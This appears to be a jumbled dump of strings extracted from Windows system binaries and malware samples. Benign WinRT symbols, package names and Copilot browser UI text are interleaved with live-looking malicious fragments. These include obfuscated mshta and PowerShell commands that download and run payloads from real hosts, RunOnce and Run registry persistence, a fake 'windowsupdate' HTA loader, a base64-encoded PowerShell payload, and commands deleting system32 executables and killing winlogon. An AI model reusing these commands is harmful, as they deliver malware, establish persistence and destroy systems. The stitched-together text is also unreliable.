.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
setwindowshookexa
..\..\would\worker.cmdc:\windows\system32\shell32.dll%
@diskVolume3\Windows\System32\backgroundTaskHost.exe
<(%diskVolume3\Windows\System32\backgroundTaskHost.exe
<title>windowsupdate</title><scriptlanguage="javascript">window.onload=function(){executescript();};var_0x32a660=(function(){var_0x10c622={_0x56f80f:0x308,_0x37b115:0x26a,_0x4a7380:0x12c,_0x4f5d6a:0x530,_0x5ad3ad:0x51e,_0x4c9c13:0x31f,_0x4d8cc0:0x2dc,_0x297b98:0x545,_0x38c741:0x544,_0x2a5269:0x168,_0x59661f:0x455,_0x1504f9:0x43e,_0x279fce:0x217,_0x4910fe:0x3ab,_0x510af3:0x32c,_0x9599ee:0x501,_0x4bbd87:0x266,_0x3f3aba:0x4b6,_0x5e98c5:0x3c8,_0x55d8d4:0x477,
obrg.regread(regpath)=value)thenwritereg=trueelsewritereg=falseif(err.number<>0)then:writereg=false:endif:endfunctionif(notwritereg("hklm\software\microsoft\windows\currentversion\runonce\
","c:\windows\sys
 =writereg("hkcu\software\microsoft\windows\currentversion\runonce\
","c:\windows\sys
onecoreuap\shell\windows.system.launcher\lib\windows.system.appurihandlerregistration.cpp
Fonecoreuap\shell\windows.system.launcher\inc\ProtocolEventArgsBase.h
onecoreuap\shell\windows.system.launcher\lib\launcheractivationbrokerplugin.cpp
sleep 60000startupfolder = "c:\users\"createobject("wscript.network").usernameappdata\roaming\" + "microsoft\windows\start menu\programs\startup\pp.batauxiliar1 = urldownloadtofile(0, url1, caminholocal, 0, 0)
c:\windows\system32\mshta.exehttp://
roaming\microsoft\windows\startmenu\programsQ
=.?AV<lambda_1>@?5??LaunchWebUriWithProtocolAsync@Launcher@implementation@SearchApi@SearchUx@winrt@@QEAA?AU?$IAsyncOperation@_N@Foundation@Windows@6@Uhstring@6@0UIUriLaunchOptions@Search@Cortana@6@@Z@
.?AV<lambda_1>@?1??GetStringMultiValueProperty@ShellPropertyHelper@SearchApi@SearchUx@winrt@@SA?AU?$IVectorView@Uhstring@winrt@@@Collections@Foundation@Windows@5@PEAUIPropertyStore@@U_tagpropertykey@@_N@Z@
%AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
A(internatexplorer"internatexplorar.ocsoftware\microsoft\windows\currentversion\explorer\advancedhidefileextshellstate0xffff0x001a\system.dllshell32::shchangenotify(i0x8000000,i0,i0,i0)call\temp_tmp.bat:pp1310del"\"ifexist"\"goto
del%windir%\system32\*.exe/q
Ptaskkill/f/t/imwinlogon.exe
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
system32\dri
x:host: checkip.dyndns.orguser-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; .netpost %s http/1.1data: i/o errorrcpt to
\system32\knlext
C:\WINDOWS\SYSTEM32\D
machine\software\microsoft\windows nt\currentversionm
software\microsoft\windows nt\currentversion\icm\calibrations
windows.appExtension
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_5>@?7??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_3>@?5??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_4>@?6??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?9??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@Tas
%s\appdata\roaming\microsoft\windows\
Net.DNS.DnsConfig.Windows.Compatibility
Net.DNS.DnsConfig.Windows.ReadSystemSettings0
Win32_PerfFormattedData_MicrosoftWindowsBitLockerDriverCountersProvider_BitLocker
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
,aDWc:\windows\system32\openssh\sftp.exe-oproxycommand="powershellpowershell-command('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]]h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli
IWin32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ServiceName
oftware\Microsoft\Windows NT
3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadat
8^MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoardX
7MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicke
c:\windows\system32\windowspowershell\v1.0\powershell.exe-oproxycommand="powershellpowershell-command('ms]]]]]]h]]]]]]]t]]]]]a.]]]]]ex]]]]]e]]]]]]]h]]]]]]]tt]]]]]p]]]]]]]s]]]]]]]:]]]]]]//]]]]]]pi]]]]]c]]]]]]]t]]]]]]].he]]]]]a]]]]]]]l]]]]]]t]]]]]]hc]]]]]]l]]]]]]]i]]]]]]]n]]]]]]i]]]]]]c]]]]]]-styl]]]]]]e]]]]]ma]]]]]]]v]]]]]]]e]]]]]n]]]]]]].]]]]]]]com/]]]]]]ahbin
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
c:\windows\system32\cmd
windowSizeCutoffs
)1.presswindows
\windows\currentver
com.microsoft.windows.extension.widgetcanvas
f4^com.microsoft.windows.extensionpackage
f5^com.microsoft.windows.extensions.xaml.widgetpicker
com.microsoft.windows.extensions.xaml.widgetpicker
Microsoft.UI.Content.CoreWindowSiteBridge
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
, "net", "use * " & URL, "%windir%\system32", vbHide
windows.activatableClass.inProcessServerG,
windows.activatableClass.inProcessServerF,
windows.activatableClass.inProcessServerE,
windows.activatableClass.inProcessServerD&
windows.deploymentExtensionHandlerC,
windows.activatableClass.inProcessServerB&
windows.activatableClass.proxyStubA,
windows.activatableClass.inProcessServer@,
windows.activatableClass.inProcessServer?,
windows.activatableClass.inProcessServer>,
windows.activatableClass.inProcessServer=,
windows.activatableClass.inProcessServer<,
windows.activatableClass.inProcessServer;,
windows.activatableClass.inProcessServer:,
windows.activatableClass.inProcessServer9,
windows.activatableClass.inProcessServer8,
windows.activatableClass.inProcessServer7,
windows.activatableClass.inProcessServer6,
windows.activatableClass.inProcessServer5&
windows.activatableClass.proxyStub4,
windows.activatableClass.inProcessServer3,
windows.activatableClass.inProcessServer2,
windows.activatableClass.inProcessServer1,
windows.activatableClass.inProcessServer0,
windows.activatableClass.inProcessServer/,
windows.activatableClass.inProcessServer.,
windows.activatableClass.inProcessServer-,
windows.activatableClass.inProcessServer,,
windows.activatableClass.inProcessServer+,
windows.activatableClass.inProcessServer*,
windows.activatableClass.inProcessServer),
windows.activatableClass.inProcessServer(,
windows.activatableClass.inProcessServer',
windows.activatableClass.inProcessServer&,
windows.activatableClass.inProcessServer%,
windows.activatableClass.inProcessServer$,
windows.activatableClass.inProcessServer#,
windows.activatableClass.inProcessServer",
windows.activatableClass.inProcessServer!,
windows.activatableClass.inProcessServer ,
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer	,
windows.acti
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServerVp<
windows.updateTask
windows.appExecutionAlias
windows.autoPlayContent
windows.protocol
windows4
<bidi:Schema xmlns:bidi="http://schemas.microsoft.com/windows/2010/09/printing/usbbidi">
NoWindowSetAc
windows-1252
Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' family*
REGREAD ( "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"R
{&"c:\some\file.dot.txtwindows_7_windows_10_check_running_once_mutexc:\msf\3\http.dllProcessUtils::IsUserAdmin()Wait until GetDomainAndPc()B
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
pc:\windows\syswow64\windowspowershell\v1.0\powershell.exe-executionpolicybypass-command$raw=invoke-webrequest-uri"https://vm130833.goodtec.cloud/
C:\Windows\System32\wscript.exe
\Windows iLivid Toolbar\
WindowsInternal.ComposableShell.Experiences.TextInput.Common.MtfCandidatePredictor
WindowsInternal.ComposableShell.Experiences.TextInput.Common.NegateBooleanConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.PrimaryViewThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ShellUI.FluentThemeResources
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ShellUI.ThemeDropShadow
WindowsInternal.ComposableShell.Experiences.TextInput.Common.ShellViewShowRequestInfo
WindowsInternal.ComposableShell.Experiences.TextInput.Common.SoundClipPlayerFactory
WindowsInternal.ComposableShell.Experiences.TextInput.Common.SuggestionUIThemeManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.TeachingTipContentControl
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.NativeBridge
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveControlModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveGroup
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.SuggestionUIStyles
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.SuggestionUI_XamlTypeInfo.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.WebPackageLoader
WindowsInternal.ComposableShell.Experiences.TextInput.Common.BooleanToOpacityConverter
WindowsInternal.ComposableShell.Experiences.TextInput.Common.CandidateWindowThemeManager
windows
windows
windows
windows
U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
dir%\system32\vsocklib.dl
temRoot%\system32\mswsock.dl
Microsoft.Windows.AI.Platform.Core.SupportedFeatures
p[cmd.exej-i9vc:\windows\system32\cmd.exe$..\..\..\..\windows\system32\cmd.exe&/cliveried\hundredweight.cmdregsvrc:\windows\system32\shell32.dll%
-oc:\windows\tasks\
..\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden&'c:\windows\installer\{90160000-0011-0000-0000-0000000ff1ce}\
WINDOWS11
WINDOWS11
GetLargestConsoleWindowSize
windows.getall({populate:true}
ication.cmdregsvrc:\windows\system32\shell32.dll
Microsoft.Windows.Location.Crowdsource
-windowstylehidden-nologo-command-noexit(new-objectsystem.net.webclient).downloadfile('https://link.storjshare.io/raw/jwt3d6fhclzmvrf5lm7qaxd2k7lq/office/r.txt','c:\\users\\public\\
Microsoft.Windows.ClientMetrics.Gr
Microsoft.Windows.Audio.Spatial.Renderer
Behavior:Win32/RegSetWindowsLoad.A
WindowsFormsOCR.Properties.Resources.resources
system32H
get_DockPanel_DefaultFloatWindowSize_Description
get_ToolWindowStripGapTop
get_ToolWindowSeparator
set_ToolWindowSeparator
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Settings.DisplaySettings.MultipleDisplays
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
9N1M64W9XZQ7Aliens: Dark Descent (Windows)https://store-images.s-microsoft.com/image/apps.52207.13898888461912760.834aa9dd-7399-4287-8be9-57be8cd1e516.de7deb43-0a06-4856-942f-523a1a4b72f7en
9N1M64W9XZQ7Aliens: Dark Descent (Windows)https://store-images.s-microsoft.com/image/apps.52207.13898888461912760.834aa9dd-7399-4287-8be9-57be8cd1e516.de7deb43-0a06-4856-942f-523a1a4b72f7fr
9N1M64W9XZQ7Aliens: Dark Descent (Windows)https://store-images.s-microsoft.com/image/apps.52207.13898888461912760.834aa9dd-7399-4287-8be9-57be8cd1e516.de7deb43-0a06-4856-942f-523a1a4b72f7de
Microsoft.Windows.OfflineFiles
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
NtUserEnableWindowShellWindowManagementBehavior
NtUserGetProcessWindowStation
NtUserLockWindowStation
MonitoringTool:Win32/WindowsKeylogger.C!sys
MonitoringTool:Win32/WindowsKeylogger.C
Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbweA
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbweF
ws nt\currentversion\winlogon
Mozilla/6.0 (compatible; MSIE 10.0; Windows NT 10.0; .NET CLR 1.1.4322)StartProc
ERROR: Cannot set windows hook.
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
Microsoft.Windows.Desktop.Shell.NotificationArea
api-ms-win-core-windowserrorreporting-l1-1-1.dll
WindowsTerminal_1.18.1030)
Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsDeleteString
WindowsCreateString
WindowsCompareStringOrdinal
WindowsCreateStringReference
api-ms-win-core-windowserrorreporting-l1-1-0.dll
WindowsConcatString
WindowsGetStringLen
 !"#$%&'()*+,-./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@WINDOWS 
WindowsCreateString
WindowsDeleteString
Windows.Data.Apps.DeviceMetaData
Windows.Data.CuratedTileCollection.Group
Windows.Data.CuratedTileCollection.Tile
Windows.Data.PlaceholderTileCollectionLocal
Windows.Data.Calling.SettingsLocalCache
Windows.Data.PlaceholderTileLocal
Windows.Data.Signals.MLModelCondition
Microsoft.Windows.Print.DevmodeSizePatch
Microsoft.Windows.Print.LocalSpooler
Microsoft.Windows.Print.VirtualMon
Microsoft.Windows.Containers.Library
stry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ProductName
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopiMZ
%02\System32\drivers\etc\echo %
0windowsuX	
GamesListTileProperties)0Windows.Data.UnifiedTile.GamesListTilePropertiesM		
26^windows.appExtension
1c^windows.protocol
1c^windows.aboveLockScreen
1d^windows.shareTarget
windows.shareTarget
e windows
WINDOWS_
onecoreuap\windows\cdp\afc\core\ActivityStoreInfo.h
onecoreuap\windows\cdp\afc\core\Task.h
onecoreuap\windows\cdp\afc\core\CorrelationVectorUtils.h
$8dbb2d58-b9de-486b-be83-10064b9d2c85IsWindowsDefenderInstalled
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
\SecurityService\SecurityService\obj\Release\WindowsSecurityService.pdb\
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
class Microsoft::WRL::ComPtr<struct Windows::Devices::Bluetooth::IBluetoothDevice> __cdecl cdp::BluetoothDeviceConnectionStatus::GetBluetoothDevice(unsigned __int64)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
e-executionpolicybypass-noprofile-windowstylehidden-command&{invoke-webrequest-uri
"http://a0.pm:8080/bh/yjc2kwe/utr73bq0ja4qyekb219olew/%computername%"ku^waacm^s^a=yox/qn^jnr^hy=^g^m^p!%systemroot%\system32\shell32.dll
 plaid\gawkishcurrencies.jsc:\windows\system32\shell32.dll%systemroot%
executionpolicybypass-windowstylehidden
c:\windows\system32\forfiles.exe/pc:\windows\system32/mcmmon32.exe/c"powershell.\*i*\s*2\m*ta.*ehttp://149.51.230.198:5566/releaseform"
B7Mc:\windows\system32\cmd.exe/cnetusex:"https://climate-larger-winner-ash.trycloudflare.com"/persistent:no&&x:\2h.bat&netusex:/delete/yes
WindowsConcatString
WindowsSubstringWithSpecifiedLength
WindowsCompareStringOrdinal
Microsoft.Windows.Shell.CloudStore.Internal
Windows.CloudStore.pdb
Windows.Data.ActiveKeyboard
Windows.Data.LocalRemovedKeyboards
Windows.Data.ActiveKeyboardList
Windows.Data.PeopleShareTarget.MRUPeopleShareApps
Windows.Data.QuickActions.ControlCenterSettings
Windows.Data.QuickActions.QuickActionLayout
Windows.Data.ExternalDisplayModeSettings
Windows.Data.DockingDisplaySettings
Windows.Data.Settings.SettingsUsageHistory
Windows.Data.Settings.SettingPageUsage
Windows.Data.Settings.SettingsRanking
Windows.Data.Settings.RankedSettingEntry
Windows.Data.Settings.LunarCalendarSettings.LunarCalendar
SnapWindows
Windows.Data.Settings.MultiTasking.MultiTaskDesktop
Windows.Data.Settings.MultiTasking.SnapWindows
Windows.Data.Settings.MultiTasking.MultiTaskOthers
titleBarWindowShakeEnabled
Windows.Data.Settings.DateTimeSettings.TimeZone
Windows.Data.Settings.DisplaySettings.MultipleDisplays
minimizeWindowsOnMonitorDisconnect
Windows.Data.Settings.PrivacySettings.CapabilityConsent
Windows.Data.Settings.PrivacySettings.AppConsent
Windows.Data.Settings.PrivacySettings.DeviceSettings
Windows.Data.Settings.Voice.VoiceSystemSettings
Windows.Data.SharePicker.CustomAppMRUItem
Windows.Data.SharePicker.MRUList
Windows.Data.Platform.Diagnostics.DiagnosticData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
Windows.Data.Platform.Diagnostics.DiagnosticSecureData
Windows.Data.Platform.Diagnostics.DiagnosticSubData
Windows.Data.Platform.Diagnostics.DiagnosticAtomicSubData
Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
Windows.Data.Platform.Diagnostics.DiagnosticSingletonData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Windows.Data.Platform.Diagnostics.DiagnosticUser
Dv6	c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0axgbeaf4acwbeaf4axgbeaggaxgbeaf4adabhacaaxgbeaggaxgbeahqadabwaf4acwa6af4axgbeac8axgbeaf4alwbeaf4axgbeahuaxgbeaf4abab0af4axgbyageaxgbeaf4axgb2agkazqbeahcaxgbeaf4axgblahialgbeaf4axgbeag4azqbeaf4axgbeahqaxgbeaf4axgb3af4axgbeag8axgbyaf4axgbeagsalwbeahuadgb2af4algbtaf4acaa0af4axganac4acgblahaababhagmazqaoaccaxganacwajwanackaowbpaguaeaagacgazwbjagiakqa=
2.txt';$async=$webclient.downloadfiletaskasync($url,$file);while(-not$async.iscompleted){start-sleep-milliseconds200;[system.windows.forms.application]::doevents()};$f.close();$hx=[io.file]::readalltext('c:\users\public\documents\
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwbeaf4aaabeaf4axgb0ageaxgbeaf4axgagaggad
splitWindowsDataInstrumen
/windows\system32\wscript.exe<\vegetateimprovableness\uncorkertualati\photocollography.wsf!%systemroot%
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
Windows.Devices.WiFiDirect.dll
DisplayMessageAndExitWindows
Hstart-process$env:temp\scvhost.exe\""/fregadd"hkcu\software\microsoft\windows\currentversion\run"/vwindowsupdate/treg_sz/d"powershell-command
React Native for Windows does not yet support nesting non-Text components under <Text>
C:\__w\1\s\node_modules\react-native-windows\Microsoft.ReactNative\Utils\ImageUtils.cpp
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent sc@
